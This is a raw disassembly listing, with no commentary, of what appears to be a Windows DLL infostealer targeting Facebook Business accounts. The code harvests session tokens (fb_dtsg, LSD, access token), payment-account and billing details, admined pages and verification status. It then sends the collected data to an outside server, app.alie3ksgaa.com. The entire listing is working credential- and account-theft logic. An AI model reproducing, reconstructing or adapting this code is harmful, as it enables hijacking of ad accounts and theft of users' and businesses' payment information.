lea rcx, [rsp + 0x1b0]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0x200]
call fcn.180076bc0
lea rdx, [0x1800f84b4]
lea rcx, [rsp + 0x200]
call fcn.18000621c
lea rcx, [rsp + 0x200]
test al, al
je 0x180002f38
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2f8]
jmp 0x180002e28
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2f8]
call fcn.1800056e8
mov sil, r12b
jmp 0x180002e2e
lea rcx, [rsp + 0x188]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x80]
call fcn.1800056e8
nop
lea rcx, [rsp + 0xb0]
call fcn.1800056e8
test sil, sil
je 0x180002fb5
lea rcx, [rsp + 0xd0]
call fcn.180006268
nop
mov r8, rax
lea rdx, [rsp + 0x5e8]
lea rcx, [rsp + 0xa0]
call fcn.180005cf4
nop
lea rcx, [rsp + 0xd0]
call fcn.180004dd8
lea rcx, [rsp + 0xd0]
call fcn.18000578c
lea rdx, [rsp + 0x358]
mov rcx, rax
call fcn.1800055f0
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2b0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x358]
call fcn.1800056e8
mov byte [rsp + 0x8e8], r15b
lea r8, [rsp + 0x8e8]
lea rcx, [rsp + 0xd0]
call fcn.1800062c4
nop
mov r8, rax
lea rdx, [rsp + 0x5c8]
lea rcx, [rsp + 0xa0]
call fcn.180005fe0
nop
lea rcx, [rsp + 0xd0]
call fcn.180004e7c
mov rsi, r15
mov qword [rsp + 0x60], rsi
lea rcx, [rsp + 0x420]
call fcn.180005184
cmp rsi, rax
jae 0x180003dae
lea rdx, str.https:__business.facebook.com_billing_hub_payment_settings__asset_id
lea rcx, [rsp + 0x378]
call fcn.180005764
nop
mov rdx, rsi
lea rcx, [rsp + 0x420]
call fcn.180005158
mov rdx, rax
lea rcx, [rsp + 0x378]
call fcn.1800056cc
lea rdx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_116.0.0.0_Safari_537.36
lea rcx, [rsp + 0x260]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x188]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x80]
call fcn.180005428
nop
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
lea rdx, [0x1800f8470]
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdi, rax
lea rdx, [rsp + 0x560]
lea rcx, [rsp + 0x378]
call fcn.18000566c
mov rbx, rax
lea rdx, [rsp + 0x588]
lea rcx, [rsp + 0x378]
call fcn.180005688
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rsp + 0x1d0]
call fcn.180006314
nop
lea rcx, [rsp + 0x260]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x188]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x20], rcx
mov r9, rdi
lea r8, [0x180123290]
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.18000e114
nop
lea rcx, [rsp + 0x80]
call fcn.180005420
nop
lea rcx, [rsp + 0x188]
call fcn.180005420
nop
lea rcx, [rsp + 0x260]
call fcn.180005420
mov rdx, rsi
lea rcx, [rsp + 0x420]
call fcn.180005158
mov rcx, rax
call fcn.180005648
test al, al
je 0x180003262
lea rax, [rsp + 0x280]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x318]
mov qword [rsp + 0x68], rax
lea rdx, [0x1800f866c]
lea rcx, [rsp + 0x280]
call fcn.180005764
mov rdi, rax
lea rdx, [0x1800f864c]
lea rcx, [rsp + 0x318]
call fcn.180005764
mov rbx, rax
lea rdx, str._asset_id
lea rcx, [rsp + 0x3d0]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x1b0]
call fcn.180076bc0
mov rbx, rax
mov rdx, rsi
lea rcx, [rsp + 0x420]
call fcn.180005158
mov rcx, rax
mov rdx, rbx
call fcn.180005744
nop
lea rcx, [rsp + 0x1b0]
call fcn.1800056e8
lea rax, [rsp + 0x280]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x318]
mov qword [rsp + 0x70], rax
mov rdx, r14
lea rcx, [rsp + 0x280]
call fcn.180005764
mov rdi, rax
mov rdx, r14
lea rcx, [rsp + 0x318]
call fcn.180005764
mov rbx, rax
lea rdx, str._ACCOUNT_ID_:
lea rcx, [rsp + 0x3d0]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0xb0]
call fcn.180076bc0
nop
lea rcx, [rsp + 0xb0]
call fcn.180005648
test al, al
je 0x18000337f
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x70], rax
mov rdx, r14
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdi, rax
mov rdx, r14
lea rcx, [rsp + 0x1d0]
call fcn.180005764
mov rbx, rax
lea rdx, str._globalScopeID_:
lea rcx, [rsp + 0x1b0]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x2d8]
call fcn.180076bc0
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.180005744
lea rcx, [rsp + 0x2d8]
call fcn.1800056e8
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x70], rax
mov rdx, r14
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdi, rax
lea rdx, str.token_:_
lea rcx, [rsp + 0x1d0]
call fcn.180005764
mov rbx, rax
lea rdx, str._DTSGInitData_
lea rcx, [rsp + 0x1b0]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x2b0]
call fcn.180076bc0
nop
lea rax, [rsp + 0x280]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x318]
mov qword [rsp + 0x70], rax
mov rdx, r14
lea rcx, [rsp + 0x280]
call fcn.180005764
mov rdi, rax
lea rdx, str.token_:_
lea rcx, [rsp + 0x318]
call fcn.180005764
mov rbx, rax
lea rdx, str._LSD_
lea rcx, [rsp + 0x3d0]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x358]
call fcn.180076bc0
nop
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x70], rax
lea rdx, [0x1800f88d8]
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdi, rax
lea rdx, [0x1800f88dc]
lea rcx, [rsp + 0x1d0]
call fcn.180005764
mov rbx, rax
lea rdx, str.___spin_r_
lea rcx, [rsp + 0x1b0]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x200]
call fcn.180076bc0
nop
lea rax, [rsp + 0x280]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x318]
mov qword [rsp + 0x70], rax
lea rdx, [0x1800f88d8]
lea rcx, [rsp + 0x280]
call fcn.180005764
mov rdi, rax
lea rdx, [0x1800f88dc]
lea rcx, [rsp + 0x318]
call fcn.180005764
mov rbx, rax
lea rdx, str.___spin_t_
lea rcx, [rsp + 0x3d0]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x2f8]
call fcn.180076bc0
nop
lea rcx, [rsp + 0xb0]
call fcn.180005648
test al, al
jne 0x180003d1a
lea rcx, [rsp + 0x2b0]
call fcn.180005648
test al, al
jne 0x180003d1a
lea rcx, [rsp + 0x358]
call fcn.180005648
test al, al
jne 0x180003d1a
lea rcx, [rsp + 0x200]
call fcn.180005648
test al, al
jne 0x180003d1a
lea rcx, [rsp + 0x2f8]
call fcn.180005648
test al, al
jne 0x180003d1a
lea rdx, [0x1800f88fc]
lea rcx, [rsp + 0x260]
call fcn.180005764
nop
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x260]
call fcn.1800056cc
lea rdx, str.__user
lea rcx, [rsp + 0x260]
call fcn.18000569c
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x260]
call fcn.1800056cc
lea rdx, str.__a1__csr__req5dpr1__ccgEXCELLENT__comet_req0fb_dtsg
lea rcx, [rsp + 0x260]
call fcn.18000569c
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x260]
call fcn.1800056cc
lea rdx, str.lsd
lea rcx, [rsp + 0x260]
call fcn.18000569c
lea rdx, [rsp + 0x358]
lea rcx, [rsp + 0x260]
call fcn.1800056cc
lea rdx, str.__spin_r
lea rcx, [rsp + 0x260]
call fcn.18000569c
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x260]
call fcn.1800056cc
lea rdx, str.__spin_btrunk__spin_t
lea rcx, [rsp + 0x260]
call fcn.18000569c
lea rdx, [rsp + 0x2f8]
lea rcx, [rsp + 0x260]
call fcn.1800056cc
lea rdx, str.fb_api_caller_classRelayModernfb_api_req_friendly_nameBillingAMNexusRootQueryvariables_paymentAccountID_:_
lea rcx, [rsp + 0x260]
call fcn.18000569c
mov rdx, rsi
lea rcx, [rsp + 0x420]
call fcn.180005158
mov rdx, rax
lea rcx, [rsp + 0x260]
call fcn.1800056cc
lea rdx, str._server_timestampstruedoc_id4123775161071594
lea rcx, [rsp + 0x260]
call fcn.18000569c
lea rcx, [rsp + 0xd0]
call fcn.18000578c
lea rdx, [rsp + 0x220]
mov rcx, rax
call fcn.1800055f0
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
lea rcx, [rsp + 0x188]
call fcn.18000578c
nop
lea rdx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_116.0.0.0_Safari_537.36
lea rcx, [rsp + 0x168]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x240]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x398]
call fcn.180005428
nop
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0xd0]
call fcn.1800057a4
mov rbx, rax
lea rdx, str.https:__business.facebook.com_api_graphql__lllppp
lea rcx, [rsp + 0x1d0]
call fcn.180005428
nop
lea rcx, [rsp + 0x168]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x240]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x398]
mov qword [rsp + 0x20], rcx
mov r9, rbx
lea r8, [0x180123290]
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.18000e114
nop
lea rcx, [rsp + 0x398]
call fcn.180005420
nop
lea rcx, [rsp + 0x240]
call fcn.180005420
nop
lea rcx, [rsp + 0x168]
call fcn.180005420
lea r8, [rsp + 0x188]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x3c0]
call fcn.18000aa20
nop
lea rcx, [rsp + 0x188]
call fcn.180005648
test al, al
jne 0x180003891
lea rcx, [rsp + 0x3c0]
call fcn.180001624
nop
lea rcx, [rsp + 0x80]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x188]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x260]
jmp 0x180003d3f
lea rdx, str.billing_payment_methods
lea rcx, [rsp + 0x148]
call fcn.180005764
nop
lea rdx, str.billing_payment_account
lea rcx, [rsp + 0x398]
call fcn.180005764
nop
lea rdx, str.billable_account_by_payment_account
lea rcx, [rsp + 0x240]
call fcn.180005764
nop
lea rdx, str.data
lea rcx, [rsp + 0x168]
call fcn.180005764
nop
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0x3c0]
call fcn.180008060
lea rdx, [rsp + 0x240]
mov rcx, rax
call fcn.180008060
lea rdx, [rsp + 0x398]
mov rcx, rax
call fcn.180008060
lea rdx, [rsp + 0x148]
mov rcx, rax
call fcn.180008060
mov rcx, rax
call fcn.180008054
mov rcx, rax
call fcn.180005280
mov rbx, rax
lea rcx, [rsp + 0x168]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x240]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x398]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x148]
call fcn.1800056e8
test rbx, rbx
je 0x180003bb4
mov edi, r15d
lea rdx, str.payment_modes
lea rcx, [rsp + 0x240]
call fcn.180005764
nop
lea rdx, str.billable_account_by_payment_account
lea rcx, [rsp + 0x168]
call fcn.180005764
nop
lea rdx, str.data
lea rcx, [rsp + 0x148]
call fcn.180005764
nop
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0x3c0]
call fcn.180008060
lea rdx, [rsp + 0x168]
mov rcx, rax
call fcn.180008060
lea rdx, [rsp + 0x240]
mov rcx, rax
call fcn.180008060
mov rcx, rax
call fcn.180008054
mov rdx, rax
lea rcx, [rsp + 0x398]
call fcn.180005310
nop
lea rcx, [rsp + 0x148]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x168]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x240]
call fcn.1800056e8
mov rbx, r15
lea rcx, [rsp + 0x398]
call fcn.180005280
cmp rbx, rax
jae 0x180003a7d
mov rdx, rbx
lea rcx, [rsp + 0x398]
call fcn.180005274
mov rcx, rax
call fcn.180008048
lea rdx, str.SUPPORTS_POSTPAY
mov rcx, rax
call fcn.18000621c
test al, al
je 0x180003bac
mov edi, r12d
test edi, edi
je 0x180003b99
mov dl, r12b
lea rcx, [rsp + 0x4d8]
call fcn.180007c24
nop
lea rdx, str.payInfo
lea rcx, [rsp + 0x110]
call fcn.180005764
nop
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0xa0]
call fcn.180004f7c
lea rdx, [rsp + 0x4d8]
mov rcx, rax
call fcn.180004f14
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x4d8]
call fcn.180001624
nop
lea rcx, [rsp + 0x398]
call fcn.180005308
nop
lea rcx, [rsp + 0x3c0]
call fcn.180001624
nop
lea rcx, [rsp + 0x80]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x188]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x260]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2f8]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x200]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x358]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2b0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0xb0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x220]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x378]
call fcn.1800056e8
jmp 0x180003dae
lea rcx, [rsp + 0x398]
call fcn.180005308
nop
jmp 0x18000385a
add rbx, r12
jmp 0x180003a39
lea rcx, [rsp + 0x3c0]
call fcn.180001624
nop
lea rcx, [rsp + 0x80]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x188]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x260]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2f8]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x200]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x358]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2b0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0xb0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x220]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x378]
call fcn.1800056e8
jmp 0x180003da6
lea rcx, [rsp + 0xd0]
call fcn.18000578c
lea rdx, [rsp + 0x220]
mov rcx, rax
call fcn.1800055f0
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2f8]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x200]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x358]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2b0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0xb0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x220]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x378]
call fcn.1800056e8
add rsi, r12
jmp 0x180003042
lea rdx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_116.0.0.0_Safari_537.36
lea rcx, [rsp + 0x168]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x148]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x110]
call fcn.180005428
nop
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x78], rax
lea rdx, [0x1800f8470]
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rbx, rax
lea rdx, str.https:__business.facebook.com_select
lea rcx, [rsp + 0x1d0]
call fcn.180005428
nop
lea rcx, [rsp + 0x168]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x148]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x20], rcx
mov r9, rbx
lea r8, [0x180123290]
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.18000e114
nop
lea rcx, [rsp + 0x110]
call fcn.180005420
nop
lea rcx, [rsp + 0x148]
call fcn.180005420
nop
lea rcx, [rsp + 0x168]
call fcn.180005420
lea rcx, [rsp + 0x80]
call fcn.180005648
test al, al
jne 0x180003eed
lea rdx, str.business_id
lea rcx, [rsp + 0x80]
call fcn.180005574
cmp rax, 0xffffffffffffffff
je 0x180003eed
mov byte [rsp + 0x8e8], r12b
lea r8, [rsp + 0x8e8]
lea rcx, [rsp + 0x280]
call fcn.18000642c
nop
mov r8, rax
lea rdx, [rsp + 0x5d8]
lea rcx, [rsp + 0xa0]
call fcn.180005fe0
nop
jmp 0x180003f24
mov byte [rsp + 0x8e8], r15b
lea r8, [rsp + 0x8e8]
lea rcx, [rsp + 0x280]
call fcn.18000642c
nop
mov r8, rax
lea rdx, [rsp + 0x678]
lea rcx, [rsp + 0xa0]
call fcn.180005fe0
nop
lea rcx, [rsp + 0x280]
call fcn.180004e7c
lea rcx, [rsp + 0xd0]
call fcn.18000578c
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.1800055f0
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x80]
call fcn.1800056e8
lea rdx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_116.0.0.0_Safari_537.36
lea rcx, [rsp + 0x168]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x148]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x110]
call fcn.180005428
nop
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x78], rax
lea rdx, [0x1800f8470]
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rbx, rax
lea rdx, str.https:__www.facebook.com_pages__categoryyour_pagesrefbookmarks
lea rcx, [rsp + 0x1d0]
call fcn.180005428
nop
lea rcx, [rsp + 0x168]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x148]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x20], rcx
mov r9, rbx
lea r8, [0x180123290]
mov rdx, rax
lea rcx, [rsp + 0x280]
call fcn.18000e114
mov rdx, rax
lea rcx, [rsp + 0x478]
call fcn.180005744
lea rcx, [rsp + 0x280]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x110]
call fcn.180005420
nop
lea rcx, [rsp + 0x148]
call fcn.180005420
nop
lea rcx, [rsp + 0x168]
call fcn.180005420
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x70], rax
lea rdx, [0x1800f8c24]
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdi, rax
lea rdx, [0x1800f88dc]
lea rcx, [rsp + 0x1d0]
call fcn.180005764
mov rbx, rax
lea rdx, str._profile_switcher_eligible_profiles_:_count_
lea rcx, [rsp + 0x280]
call fcn.180005764
nop
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
lea rdx, [rsp + 0x478]
lea rcx, [rsp + 0x80]
call fcn.180076bc0
nop
lea rcx, [rsp + 0x80]
call fcn.180005654
cmp rax, r12
jbe 0x180004129
mov r9, r12
xor r8d, r8d
lea rdx, [rsp + 0x318]
lea rcx, [rsp + 0x80]
call fcn.180005450
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180005744
lea rcx, [rsp + 0x318]
call fcn.1800056e8
lea rcx, [rsp + 0x80]
call fcn.180005648
test al, al
jne 0x1800041a4
lea rcx, [rsp + 0x80]
call fcn.18000647c
test al, al
je 0x1800041a4
lea rdx, str.hasHomePage
lea rcx, [rsp + 0x318]
call fcn.180005764
nop
lea r8, [0x1800f84a0]
mov rdx, rax
lea rcx, [rsp + 0x3d0]
call fcn.180005c7c
nop
mov r8, rax
lea rdx, [rsp + 0x688]
lea rcx, [rsp + 0xa0]
call fcn.180005cf4
nop
lea rcx, [rsp + 0x3d0]
call fcn.180004dd8
nop
jmp 0x180004259
lea rdx, str._admined_pages_:_nodes_:__id_
lea rcx, [rsp + 0x478]
call fcn.180005574
lea rdx, str.hasHomePage
lea rcx, [rsp + 0x318]
cmp rax, 0xffffffffffffffff
je 0x180004214
call fcn.180005764
nop
lea r8, [0x1800f84a0]
mov rdx, rax
lea rcx, [rsp + 0x3d0]
call fcn.180005c7c
nop
mov r8, rax
lea rdx, [rsp + 0x5a8]
lea rcx, [rsp + 0xa0]
call fcn.180005cf4
nop
lea rcx, [rsp + 0x3d0]
call fcn.180004dd8
nop
jmp 0x180004259
call fcn.180005764
nop
lea r8, [0x1800f84b4]
mov rdx, rax
lea rcx, [rsp + 0x3d0]
call fcn.180005c7c
nop
mov r8, rax
lea rdx, [rsp + 0x5b8]
lea rcx, [rsp + 0xa0]
call fcn.180005cf4
nop
lea rcx, [rsp + 0x3d0]
call fcn.180004dd8
nop
lea rcx, [rsp + 0x318]
call fcn.1800056e8
lea rdx, str.hasHomePage
lea rcx, [rsp + 0x110]
call fcn.180005764
nop
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0xa0]
call fcn.180004f7c
mov rcx, rax
call fcn.180008048
mov rcx, rax
lea rdx, [0x1800f84a0]
call fcn.18000621c
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
lea rdx, str.aria_label_Verified_
lea rcx, [rsp + 0x478]
call fcn.180005574
cmp rax, 0xffffffffffffffff
je 0x180004337
mov dl, r12b
lea rcx, [rsp + 0x4c8]
call fcn.180007c24
nop
lea rdx, str.business
lea rcx, [rsp + 0x110]
call fcn.180005764
nop
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0xa0]
call fcn.180004f7c
mov rcx, rax
lea rdx, [rsp + 0x4c8]
call fcn.180004f14
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x4c8]
call fcn.180001624
nop
lea rcx, [rsp + 0x80]
call fcn.1800056e8
lea rsi, [0x180123240]
jmp 0x18000441a
mov byte [rsp + 0x8e8], r15b
lea rdx, str.payInfo
call fcn.180005764
nop
lea r8, [rsp + 0x8e8]
mov rdx, rax
lea rcx, [rsp + 0x318]
call fcn.180006144
nop
mov r8, rax
lea rdx, [rsp + 0x590]
lea rcx, [rsp + 0xa0]
call fcn.180005fe0
nop
lea rcx, [rsp + 0x318]
call fcn.180004e7c
nop
lea rcx, [rsp + 0x280]
call fcn.1800056e8
lea rdx, str.accountId
lea rcx, [rsp + 0x280]
call fcn.180005764
nop
mov rdx, rax
lea rcx, [rsp + 0x318]
call fcn.1800061ac
nop
mov r8, rax
lea rdx, [rsp + 0x508]
lea rcx, [rsp + 0xa0]
call fcn.180005cf4
nop
lea rcx, [rsp + 0x318]
call fcn.180004dd8
nop
lea rcx, [rsp + 0x280]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x358]
call fcn.1800056e8
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x4b8]
call fcn.180007e40
nop
lea rcx, [rsp + 0x410]
call fcn.180007be8
nop
lea rdx, str.http:__app.alie3ksgaa.com_check_safe
lea rcx, [rsp + 0x2b0]
call fcn.180005764
nop
lea rcx, [rsp + 0x80]
call fcn.18000578c
nop
mov qword [rsp + 0x60], r15
lea rdx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_116.0.0.0_Safari_537.36
lea rcx, [rsp + 0x240]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x168]
call fcn.180005428
nop
mov rdx, r13
lea rcx, [rsp + 0x148]
call fcn.180005428
nop
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x78], rax
mov rdx, r13
lea rcx, [rsp + 0x110]
call fcn.180005428
nop
lea rdx, [0x1800f8470]
lea rcx, [rsp + 0xd0]
call fcn.180005764
mov rdi, rax
lea rdx, [rsp + 0x580]
lea rcx, [rsp + 0x2b0]
call fcn.18000566c
mov rbx, rax
lea rdx, [rsp + 0x578]
lea rcx, [rsp + 0x2b0]
call fcn.180005688
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rsp + 0x1d0]
call fcn.180006314
nop
lea rcx, [rsp + 0x240]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x168]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x148]
mov qword [rsp + 0x20], rcx
mov r9, rdi
lea r8, [rsp + 0x110]
mov rdx, rax
lea rcx, [rsp + 0x280]
call fcn.18000e114
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180005744
lea rcx, [rsp + 0x280]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x110]
call fcn.180005420
nop
lea rcx, [rsp + 0x148]
call fcn.180005420
nop
lea rcx, [rsp + 0x168]
call fcn.180005420
nop
lea rcx, [rsp + 0x240]
call fcn.180005420
lea rcx, [rsp + 0x80]
call fcn.180005648
test al, al
je 0x1800045dd
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0x60]
add rax, r12
mov qword [rsp + 0x60], rax
cmp rax, 0xa
jb 0x180004466
lea rcx, [rsp + 0x188]
call fcn.18000578c
nop
lea rcx, [rsp + 0x80]
call fcn.180005648
test al, al
jne 0x180004655
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xd0]
call fcn.1800775f0
nop
lea r8, [rsp + 0x188]
mov rdx, rax
lea rcx, [rsp + 0x530]
call fcn.18000aa20
mov rdx, rax
lea rcx, [rsp + 0x410]
call fcn.180004f14
lea rcx, [rsp + 0x530]
call fcn.180001624
nop
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
lea rcx, [rsp + 0x188]
call fcn.180005648
test al, al
jne 0x1800046bf
lea rdx, str._sid_:0__time_:0__rand_str_:__
lea rcx, [rsp + 0xd0]
call fcn.180005764
nop
lea r8, [rsp + 0x188]
mov rdx, rax
lea rcx, [rsp + 0x520]
call fcn.18000aa20
mov rdx, rax
lea rcx, [rsp + 0x410]
call fcn.180004f14
lea rcx, [rsp + 0x520]
call fcn.180001624
nop
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x188]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x80]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x2b0]
call fcn.1800056e8
lea rdx, str.http:__app.alie3ksgaa.com_
lea rcx, [rsp + 0x458]
call fcn.180005764
nop
lea rdx, [rsp + 0x438]
lea rcx, [rsp + 0x4b8]
call fcn.1800015e4
nop
lea rdx, str.check__sid
lea rcx, [rsp + 0xd0]
call fcn.180005764
nop
mov rdx, rax
lea rcx, [rsp + 0x458]
call fcn.1800056cc
nop
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
lea rdx, [0x1800f8d1c]
lea rcx, [rsp + 0x110]
call fcn.180005764
nop
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x410]
call fcn.180008060
mov rcx, rax
call fcn.18000803c
mov edx, eax
lea rcx, [rsp + 0xd0]
call fcn.1800014fc
nop
mov rdx, rax
lea rcx, [rsp + 0x458]
call fcn.1800056cc
nop
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
lea rdx, str.IO_J289DFJ2984_7FJfj__asi_h3.728fhas
lea rcx, [rsp + 0x80]
call fcn.180005764
nop
lea rdx, str.time
lea rcx, [rsp + 0x110]
call fcn.180005764
nop
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x410]
call fcn.180008060
mov rcx, rax
call fcn.18000803c
mov edx, eax
lea rcx, [rsp + 0xd0]
call fcn.1800014fc
nop
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.1800056cc
nop
lea rcx, [rsp + 0xd0]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x110]
call fcn.1800056e8
lea rdx, str.rand_str
lea rcx, [rsp + 0x110]
call fcn.180005764
nop
